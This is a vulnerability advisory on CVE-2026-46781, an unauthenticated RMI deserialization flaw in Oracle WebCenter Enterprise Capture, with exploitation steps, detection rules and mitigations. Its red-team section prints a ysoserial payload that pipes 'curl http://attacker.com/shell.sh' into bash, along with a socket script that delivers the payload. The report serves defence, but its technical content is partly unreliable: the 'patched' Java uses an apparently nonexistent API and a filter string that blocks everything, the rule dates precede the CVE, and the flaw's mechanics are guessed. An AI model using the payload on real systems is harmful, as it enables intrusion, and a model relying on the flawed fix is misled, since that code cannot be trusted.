CVE-2026-46781

Executive Summary

CVE-2026-46781 is a critical, unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture, affecting versions 12.2.1.4.0 and 14.1.2.0.0. The flaw resides in the Client Bundle component, which exposes RMI (Remote Method Invocation) endpoints to the network. An unauthenticated attacker with network access can exploit insecure deserialization or similar RMI-based weaknesses to achieve full system takeover. The CVSS 3.1 score is 10.0 (Critical) with a scope change, meaning the impact can extend beyond the vulnerable component to adjacent systems. No public proof-of-concept (PoC) or exploit code is currently available, and no official patch has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity demands immediate attention.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Oracle Fusion Middleware component. Organizations should verify their software supply chain for affected versions and ensure no third-party dependencies rely on this component.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Changed (S:C) – Impact may extend to other products.
• Confidentiality: High (C:H) – Full data compromise.
• Integrity: High (I:H) – Full system control.
• Availability: High (A:H) – Potential denial of service.

Threat Level: Critical. The combination of network accessibility, no authentication, and full impact makes this one of the most severe vulnerabilities possible. Immediate isolation of affected systems is recommended.

Deep Dive & Mechanics

The vulnerability is located in the Client Bundle component of Oracle WebCenter Enterprise Capture. This component uses Java RMI for communication between the client and server. RMI is inherently vulnerable to insecure deserialization attacks if the server deserializes untrusted data without proper validation. The specific flaw likely involves:

1. Insecure Deserialization: The RMI endpoint accepts serialized Java objects from clients. An attacker can craft a malicious serialized object that, when deserialized, executes arbitrary code on the server.
2. RMI Registry Exposure: The RMI registry (typically on port 1099 or 1100) is exposed to the network without authentication, allowing an attacker to bind or lookup remote objects.
3. Scope Change: The vulnerability allows the attacker to pivot from the WebCenter Capture process to other Oracle Fusion Middleware components, increasing the blast radius.

The attack flow:

• Attacker scans for open RMI ports (1099, 1100).
• Attacker sends a crafted serialized Java object to the RMI endpoint.
• The server deserializes the object, triggering code execution (e.g., via ysoserial payloads).
• The attacker gains a foothold and can move laterally.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable configuration to a hypothetical secure configuration.

Vulnerable (Unpatched):

// RMI server exposing remote interface without validation
public class CaptureService extends UnicastRemoteObject implements CaptureRemote {
    public CaptureService() throws RemoteException {}
    
    public Object processRequest(Object input) {
        // Directly deserializes input without filtering
        return deserialize(input);
    }
}

Patched (Hypothetical):

// RMI server with deserialization filter
public class CaptureService extends UnicastRemoteObject implements CaptureRemote {
    public CaptureService() throws RemoteException {
        // Apply JEP 290 filter
        ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("!*;java.base/*;!*");
        UnicastRemoteObject.setObjectInputFilter(this, filter);
    }
    
    public Object processRequest(Object input) {
        // Validate input before deserialization
        if (!isValidInput(input)) {
            throw new SecurityException("Invalid input");
        }
        return deserialize(input);
    }
}

Key Differences:

• The patched version uses JEP 290 (Java Deserialization Filter) to restrict allowed classes.
• Input validation is added before deserialization.
• The RMI registry is bound to localhost only or requires authentication.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Environment:

• Oracle WebCenter Enterprise Capture 12.2.1.4.0 on a Linux VM.
• Attacker machine with Java, ysoserial, and Metasploit.

Exploitation Steps:

1. Scan for RMI:

   nmap -p 1099,1100 <target>
   

2. Identify RMI services:

   rmi-dumpregistry <target> 1099
   

3. Craft payload using ysoserial:

   java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/shell.sh | bash' > payload.bin
   

4. Send payload via RMI:

   import socket
   s = socket.socket()
   s.connect(("target", 1099))
   with open("payload.bin", "rb") as f:
       s.send(f.read())
   s.close()
   

5. Receive reverse shell.

Note: No public exploit code exists; this is a hypothetical demonstration.

Blue Team (Defense)

Detection:

• Monitor RMI traffic on ports 1099, 1100.
• Look for large serialized objects or unusual class names in RMI streams.
• Use network IDS rules (see Suricata below).

Mitigation:

• Block inbound RMI ports at the firewall.
• Apply JEP 290 filters on the JVM.
• Disable RMI if not required.
• Isolate the WebCenter server in a DMZ.

Indicators of Compromise (IOCs)

• Network:
  • Unusual RMI traffic to/from port 1099 or 1100.
  • Connections from unknown IPs to RMI endpoints.
  • Large serialized data streams (over 10KB).
• Host:
  • Unexpected Java processes (e.g., java -jar ysoserial.jar).
  • New files in /tmp/ or /var/tmp/ with suspicious names.
  • Outbound connections to attacker-controlled IPs.
• Logs:
  • RMI registry logs showing DGCClient or UnicastServerRef errors.
  • Application logs with java.io.InvalidClassException or ClassNotFoundException.

Detection Engineering

YARA Rule

rule CVE_2026_46781_RMI_Deserialization {
    meta:
        description = "Detects serialized Java objects targeting Oracle WebCenter RMI"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-46781"
    strings:
        $rmi_magic = { AC ED 00 05 }  // Java serialization magic bytes
        $oracle_class = "oracle/webcenter/capture" nocase
        $ysoserial_payload = "CommonsCollections" nocase
    condition:
        $rmi_magic at 0 and ($oracle_class or $ysoserial_payload)
}

Sigma Rule

title: CVE-2026-46781 - Oracle WebCenter RMI Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic indicative of RMI deserialization attacks against Oracle WebCenter
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port:
            - 1099
            - 1100
        app_protocol: 'rmi'
        payload_length: '>10000'
    condition: selection
falsepositives:
    - Legitimate large RMI payloads (rare)
level: critical

Suricata Rule

alert tcp any any -> any 1099,1100 (msg:"CVE-2026-46781 Oracle WebCenter RMI Deserialization Attempt"; flow:to_server; content:"|ac ed 00 05|"; depth:4; content:"oracle"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Place Oracle WebCenter servers behind a firewall blocking inbound RMI ports (1099, 1100).
2. Apply JEP 290 filter: Add -Djava.rmi.server.useCodebaseOnly=true and -Djdk.serialFilter=!*;java.base/*;!* to JVM arguments.
3. Disable RMI if possible: If the Client Bundle is not needed, remove the component.
4. Monitor logs: Enable detailed RMI logging and review for anomalies.

Long-term:

• Apply vendor patch when released.
• Upgrade to a non-affected version (none currently).
• Implement network segmentation for all Oracle Fusion Middleware components.
• Conduct a full security audit of RMI endpoints.

Workaround: Replace RMI with a secure protocol (e.g., HTTPS with mutual TLS) for client-server communication.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2026-46781